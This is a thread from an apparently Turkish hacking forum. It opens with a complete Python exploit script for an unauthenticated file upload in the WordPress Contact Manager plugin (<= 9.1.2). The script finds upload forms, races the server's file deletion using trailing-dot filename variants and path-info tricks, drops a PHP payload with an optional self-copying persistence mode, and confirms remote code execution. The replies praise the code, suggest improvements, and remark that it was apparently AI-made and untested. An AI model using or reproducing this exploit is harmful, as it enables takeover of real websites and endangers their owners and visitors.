Python:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Contact Manager <= 9.1.2 (WordPress) - Unauthenticated Arbitrary File Upload
Trailing-dot bypass + unlink() race + .htaccess path-info bypass + $_FILES key abuse
SPYHACKERZ.ORG AI EXP
Bu sürümde yapılan son iyileştirmeler:
  * extract_required: <select>/<option> parse, type=file self-exclusion.
  * attempt_race: 3 wire-name varyantı (shell.php. / shell.php.. / shell.php. )
    aynı hammer penceresinde sırayla denenir (double-dot / trailing-space için).
  * fieldless modda unauthorized_extension flag'i farklı yorumlanır.
  * Captcha tespiti: POST yanıtında recaptcha/hcaptcha/captcha görülürse
    troubleshooting mesajı öncelikli basılır.
"""

import argparse
import re
import sys
import time
import threading
import uuid
from urllib.parse import urljoin

import requests
from requests.adapters import HTTPAdapter


DEFAULT_PAYLOAD = b'<?php echo "CM_POC_OK_".md5("cm912")."|".__FILE__; ?>'
MARKER = "CM_POC_OK_"

ERROR_PATTERNS = {
    "unauthorized_extension": re.compile(r'unauthorized[_ ]?extension|extension\s+not\s+allowed', re.I),
    "failed_upload": re.compile(r'failed[_ ]?upload|upload\s+failed', re.I),
}
CAPTCHA_PATTERN = re.compile(r'(recaptcha|hcaptcha|g-recaptcha|grecaptcha|cf-turnstile|captcha)', re.I)

# trailing-dot + double-dot + trailing-space; hepsi sanitize sonrası aynı diske düşer
WIRE_SUFFIXES = [".", "..", ". "]


def make_session(pool=4):
    s = requests.Session()
    adapter = HTTPAdapter(pool_connections=pool, pool_maxsize=pool, max_retries=0)
    s.mount("http://", adapter)
    s.mount("https://", adapter)
    s.headers.update({"User-Agent": "Mozilla/5.0"})
    return s


def make_persist_payload():
    return (
        '<?php '
        '$m="CM_POC_OK_".md5("cm912"); echo $m."|".__FILE__; '
        '$dst=dirname(dirname(__FILE__))."/cm_persist_".md5("cm912").".php"; '
        'if(@copy(__FILE__,$dst)) echo "|PERSISTED:".$dst; '
        'else echo "|PERSIST_FAILED"; ?>'
    ).encode()


def autofill_value(field):
    f = field.lower()
    if "email" in f: return "[email protected]"
    if "phone" in f or "tel" in f: return "5551234567"
    if "first" in f or f == "name": return "test"
    if "last" in f: return "user"
    if "subject" in f: return "test"
    if "message" in f or "comment" in f or "content" in f: return "test"
    if "url" in f or "website" in f: return "http://example.com"
    if "number" in f or "age" in f or "qty" in f: return "1"
    return "test"


def extract_required(html, form_id, file_field=None):
    """required text/textarea + required select (ilk <option value>)."""
    req = {}

    # input / textarea
    for tag in re.findall(r'<(?:input|textarea)\b[^>]*>', html, re.I | re.S):
        nm = re.search(r'name=["\']contact_form(\d+)_([a-z0-9_]+)["\']', tag, re.I)
        if not nm or int(nm.group(1)) != form_id:
            continue
        if not re.search(r'\brequired\b', tag, re.I):
            continue
        if re.search(r'type=["\']file["\']', tag, re.I):
            continue  # file alanı required olsa da data değil files'a gider
        field = nm.group(2)
        if field == "submit" or (file_field and field == file_field):
            continue
        req[field] = autofill_value(field)

    # select -> ilk option value
    for m in re.finditer(r'<select\b([^>]*)>(.*?)</select>', html, re.I | re.S):
        attrs, body = m.group(1), m.group(2)
        if not re.search(r'\brequired\b', attrs, re.I):
            continue
        nm = re.search(r'name=["\']contact_form(\d+)_([a-z0-9_]+)["\']', attrs, re.I)
        if not nm or int(nm.group(1)) != form_id:
            continue
        field = nm.group(2)
        if field == "submit" or (file_field and field == file_field):
            continue
        opt = re.search(r'<option[^>]*value=["\']([^"\']*)["\']', body, re.I)
        req[field] = opt.group(1) if opt else "test"

    return req


def detect_captcha(html):
    return bool(CAPTCHA_PATTERN.search(html or ""))


def discover_forms(base, timeout, extra_paths, max_pages=20):
    """[(form_id, field_name, page_url, required_auto, has_captcha), ...]"""
    hits, seen = [], set()
    queue = [base.rstrip("/") + p for p in ["/"] + list(extra_paths)]
    fetched, scanned = set(), 0
    session = make_session(4)
    try:
        while queue and scanned < max_pages:
            url = queue.pop(0)
            if url in fetched:
                continue
            fetched.add(url)
            try:
                html = session.get(url, timeout=timeout, allow_redirects=True).text
            except Exception:
                continue
            scanned += 1

            page_hits, page_captcha = [], detect_captcha(html)
            for pat in (
                r'name=["\']contact_form(\d+)_([a-z0-9_]+)["\'][^>]*?type=["\']file["\']',
                r'type=["\']file["\'][^>]*?name=["\']contact_form(\d+)_([a-z0-9_]+)["\']',
            ):
                for m in re.finditer(pat, html, re.I | re.S):
                    key = (int(m.group(1)), m.group(2))
                    if key in seen:
                        continue
                    seen.add(key)
                    req = extract_required(html, key[0], file_field=key[1])
                    page_hits.append((key, url, req))

            if page_hits:
                for (fid, fld), u, req in page_hits:
                    hits.append((fid, fld, u, req, page_captcha))
                return hits

            for m in re.finditer(r'href=["\']([^"\']+)["\']', html, re.I):
                href = m.group(1)
                if re.search(r'(contact|iletisim|iletis|form)', href, re.I):
                    full = urljoin(url, href)
                    if full.startswith(base.rstrip("/")) and full not in fetched:
                        queue.append(full)
    finally:
        session.close()
    return hits


def attempt_race(base, form_id, file_key, payload_bytes, temp_path,
                 token, ext, threads, timeout, extra_fields, submit_url, grace):
    root = base.rstrip("/") + "/" + temp_path.strip("/") + "/"
    basenames = [f"{token}{suf}" for suf in [""] + [f"-{i}" for i in range(1, 6)]]
    candidates = []
    for bn in basenames:
        candidates.append(root + f"{bn}.{ext}")
        candidates.append(root + f"{bn}.{ext}/x")        # path-info
        candidates.append(root + f"{bn}.{ext}/x.{ext}")  # path-info pseudo-ext

    threads = max(threads, len(candidates))
    per_url = max(1, threads // len(candidates))

    stop = threading.Event()
    found = {"url": None, "content": None}
    lock = threading.Lock()

    def hammer(url):
        session = make_session(4)
        try:
            while not stop.is_set():
                try:
                    r = session.get(url, timeout=timeout, allow_redirects=False)
                    if r.status_code == 200 and MARKER.encode() in r.content:
                        with lock:
                            if found["url"] is None:
                                found["url"] = url
                                found["content"] = r.content
                        stop.set()
                        return
                except Exception:
                    pass
        finally:
            session.close()

    workers = []
    for u in candidates:
        for _ in range(per_url):
            t = threading.Thread(target=hammer, args=(u,), daemon=True)
            t.start()
            workers.append(t)

    time.sleep(0.25)  # keep-alive ısınması

    prefix = f"contact_form{form_id}_" if form_id is not None else ""
    base_data = {}
    for k, v in extra_fields.items():
        base_data[prefix + k] = v
    if form_id is not None:
        base_data[prefix + "submit"] = "yes"
    base_data["referring_url"] = "/"

    responses, total_dur = [], 0.0
    post_session = make_session(4)
    try:
        for suffix in WIRE_SUFFIXES:
            if stop.is_set():
                break
            wire_name = f"{token}.{ext}{suffix}"
            files = {file_key: (wire_name, payload_bytes, "application/octet-stream")}
            t0 = time.time()
            try:
                resp = post_session.post(submit_url, files=files, data=base_data,
                                         timeout=timeout, allow_redirects=True)
                responses.append(resp.text)
            except Exception as e:
                responses.append("")
                print(f"  [!] POST ({wire_name!r}) failed: {e}")
            total_dur += time.time() - t0
            # kısa nefes: bir sonraki varyantın POST'u da aynı pencerede
            if not stop.is_set():
                time.sleep(grace * 0.25)
    finally:
        post_session.close()

    time.sleep(grace)
    stop.set()
    for w in workers:
        w.join(timeout=timeout + 2)

    return found, "\n---\n".join(responses), total_dur


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("target", help="https://target")
    ap.add_argument("--form-id", type=int, default=None,
                    help="form id; --fieldless ile de kullanılmalı (validation prefix için)")
    ap.add_argument("--field", default=None)
    ap.add_argument("--fieldless", action="store_true")
    ap.add_argument("--submit-url", default=None)
    ap.add_argument("--temp-path", default="/wp-content/uploads/temp")
    ap.add_argument("--payload-file", default=None)
    ap.add_argument("--persist", action="store_true")
    ap.add_argument("--extensions", nargs="+", default=["php", "phtml", "pht"])
    ap.add_argument("--threads", type=int, default=40)
    ap.add_argument("--attempts", type=int, default=1)
    ap.add_argument("--grace", type=float, default=1.0)
    ap.add_argument("--timeout", type=float, default=15.0)
    ap.add_argument("--discover-paths", nargs="*", default=[])
    ap.add_argument("--name", default=None)
    ap.add_argument("--extra", action="append", default=[])
    args = ap.parse_args()

    base = args.target.rstrip("/")

    if args.persist:
        payload = make_persist_payload()
    elif args.payload_file:
        with open(args.payload_file, "rb") as f:
            payload = f.read()
    else:
        payload = DEFAULT_PAYLOAD

    form_id, field_name, submit_url = args.form_id, args.field, args.submit_url
    required_auto, page_captcha = {}, False

    if form_id is None:
        print("[*] Discovering forms ...")
        hits = discover_forms(base, args.timeout, args.discover_paths)
        if not hits:
            if args.fieldless:
                print("[!] --fieldless requires a form prefix for validation;")
                print("    discovery failed and --form-id not set. Pass --form-id <N>.")
            else:
                print("[!] No form found. Pass --form-id (+ --field or --fieldless).")
            sys.exit(1)
        form_id, disc_field, found_url, required_auto, page_captcha = hits[0]
        if field_name is None and not args.fieldless:
            field_name = disc_field
        if not submit_url:
            submit_url = found_url
        print(f"[+] Form: id={form_id} disc_field={disc_field} @ {found_url}")
        if required_auto:
            print(f"[+] auto-fill required: {sorted(required_auto)}")
        if page_captcha:
            print("[!] sayfa captcha içeriyor; validasyon geçmezse bu ilk şüpheli")

    if not submit_url:
        submit_url = base + "/"

    safe_name = re.sub(r'[^a-zA-Z0-9_-]', '', args.name) if args.name else "poc"

    if args.fieldless or field_name is None:
        file_key = f"poc{uuid.uuid4().hex[:8]}"
        mode = "fieldless"
    else:
        file_key = (f"contact_form{form_id}_" + field_name) if form_id is not None else field_name
        mode = f"field({file_key})"

    print(f"[*] POST -> {submit_url}")
    print(f"[*] file key: {mode}")
    print(f"[*] extensions: {args.extensions}  threads>={args.threads}  attempts={args.attempts}")
    print(f"[*] wire variants per attempt: {len(WIRE_SUFFIXES)}")

    extra = dict(required_auto)
    for kv in args.extra:
        k, _, v = kv.partition("=")
        extra[k] = v

    ok = False
    for ext in args.extensions:
        for _ in range(args.attempts):
            token = f"{safe_name}{uuid.uuid4().hex[:8]}"
            print(f"[*] attempt ext={ext} name={token}")
            found, resp_text, dur = attempt_race(
                base, form_id, file_key, payload, args.temp_path,
                token, ext, args.threads, args.timeout, extra, submit_url, args.grace,
            )
            if found["url"]:
                print(f"[OK] RCE confirmed (~{dur:.2f}s window): {found['url']}")
                body = found["content"].decode("utf-8", "ignore").strip()
                print("     " + body[:400])
                if args.persist and "PERSISTED:" in body:
                    path = body.split("PERSISTED:", 1)[1].split("|", 1)[0].strip()
                    print(f"[*] cleanup: rm '{path}'  (hedefte)")
                ok = True
                break

            snippet = (resp_text or "").strip().replace("\n", " ")[:200]
            print(f"[x] no hit (upload {dur:.2f}s). response: {snippet!r}")

            flagged = {n: bool(p.search(resp_text)) for n, p in ERROR_PATTERNS.items()}
            if flagged.get("unauthorized_extension"):
                if args.fieldless:
                    print("  [!] fieldless modda unauthorized_extension -> sunucu tarafı")
                    print("      blacklist geniş; tüm wire varyantları denendi")
                    print("      (.php. / .php.. / .php. ). Sunucu bunları da yakalıyorsa")
                    print("      trailing-dot ailesi tıkalı; farklı bir vektör gerekir.")
                else:
                    print("  [!] unauthorized_extension -> --fieldless dene (form whitelist'i atlar)")
            if flagged.get("failed_upload") and not flagged.get("unauthorized_extension"):
                print("  [!] failed_upload -> required alanlar veya nonce eksik olabilir")

            if detect_captcha(resp_text):
                print("  [!] yanıtta captcha görünüyor; form validasyonu geçmiyor")
                print("      pencere hiç açılmıyor olabilir")

        if ok:
            break

    if not ok:
        print("[!] Race did not land. Öncelik sırası:")
        print("    1) POST yanıtı formu tekrar basıyor mu? (validasyon) -> --extra ile required doldur")
        print("       + captcha varsa bu yol kapalı; başka endpoint gerekir")
        print("    2) --form-id / --submit-url doğru mu; --temp-path wp-content/uploads/temp mi")
        print("    3) Windows target: NTFS trailing dot'u siler -> race gerekmez; tek GET")
        print("       temp/<token>.php başarıyı doğrular")
        print("    4) Apache + .htaccess: path-info /x varyantları denendi; hâlâ 403 ise")
        print("       --extensions phtml pht php5 ile tekrar (bazı config'lerde .phtml çalışır)")
        print("    5) --threads 40-60, --attempts 3, --grace 0.4 ile yeniden dene")
        return 1
    return 0


if __name__ == "__main__":
    sys.exit(main())

🔒 Bu içeriği görmek için giriş yapın

 
Eline sağlık hocam, güzel bir konu olmuş. Eğer kodu tamamen kendin yazdıysan gerçekten tebrik ederim, bayağı beğendim. Üzerinde uğraşıldığı belli.

Tabii geliştirilebilecek noktaları da var. Mesela bazı parametreler tanımlanmış ama kullanılmıyor, main kısmı da biraz eksik kalmış gibi. HTML ayrıştırma tarafında regex yerine BeautifulSoup kullanılması daha sağlıklı olabilir. Hata yönetimi de biraz geliştirilebilir çünkü bazı hatalar direkt görmezden geliniyor. Bir de gereksiz istekleri sınırlandırmak ve loglama sistemini iyileştirmek güzel olur.

Yanlış anlaşılmasın, kötülemek için söylemiyorum. Aksine, ortaya güzel bir çalışma çıkmış ama birkaç düzenlemeyle çok daha temiz, stabil ve profesyonel bir hale gelebilir. Özellikle kendi emeğinse gerçekten takdir ettim. Eline emeğine sağlık, paylaşım için teşekkürler.

🔒 Bu içeriği görmek için giriş yapın

 
Eline sağlık hocam, güzel bir konu olmuş. Eğer kodu tamamen kendin yazdıysan gerçekten tebrik ederim, bayağı beğendim. Üzerinde uğraşıldığı belli.

Tabii geliştirilebilecek noktaları da var. Mesela bazı parametreler tanımlanmış ama kullanılmıyor, main kısmı da biraz eksik kalmış gibi. HTML ayrıştırma tarafında regex yerine BeautifulSoup kullanılması daha sağlıklı olabilir. Hata yönetimi de biraz geliştirilebilir çünkü bazı hatalar direkt görmezden geliniyor. Bir de gereksiz istekleri sınırlandırmak ve loglama sistemini iyileştirmek güzel olur.

Yanlış anlaşılmasın, kötülemek için söylemiyorum. Aksine, ortaya güzel bir çalışma çıkmış ama birkaç düzenlemeyle çok daha temiz, stabil ve profesyonel bir hale gelebilir. Özellikle kendi emeğinse gerçekten takdir ettim. Eline emeğine sağlık, paylaşım için teşekkürler.
exploit çalışıyor mu çalışmıyormu işe yarıyor mu yaramıyormu belli değil ondan ai ile yapması daha mantıklı olmuş diğer türlü zaman kaybı olurdu. Mec abininde kimseden tebrik bekliceğini sanmıyorum. #bilenbilir #bilmeyendenapar #kendibilir ; )

🔒 Bu içeriği görmek için giriş yapın

 
exploit çalışıyor mu çalışmıyormu işe yarıyor mu yaramıyormu belli değil ondan ai ile yapması daha mantıklı olmuş diğer türlü zaman kaybı olurdu. Mec abininde kimseden tebrik bekliceğini sanmıyorum. #bilenbilir #bilmeyendenapar #kendibilir ; )
Tebrik beklemelik bir durum yok, teşekkür ediyor ve yapıcı eleştiride bulunuyorum.
Papatya çayı öneririm.

🔒 Bu içeriği görmek için giriş yapın

 
Yanıt yazmak için giriş yapmalısınız
Forum özelliklerini kullanmak ve Level 2 üyelik satın almak için hesabınıza giriş yapın.
136,500Threads
3,306,064Messages
328,352Members
scorp121Latest member
Top Bottom